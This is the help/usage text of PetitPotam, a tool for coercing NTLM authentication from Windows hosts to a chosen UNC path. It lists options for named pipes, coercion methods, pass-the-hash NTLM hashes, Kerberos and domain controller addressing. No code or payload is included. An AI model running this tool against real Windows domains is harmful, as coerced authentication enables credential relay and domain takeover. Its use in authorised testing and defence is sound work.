PetitPotam - Coerce authentication from Windows hosts

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  path                  UNC path for authentication

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -pipe pipe            Named pipe to use (default: lsarpc)
  -method method        Method used for coercing authentication
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use
                        whatever was specified as target. This is useful when
                        target is the NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from
                        ccache file (KRB5CCNAME) based on target parameters. If
                        valid credentials cannot be found, it will use the ones
                        specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will
                        use the domain part (FQDN) specified in the target
                        parameter
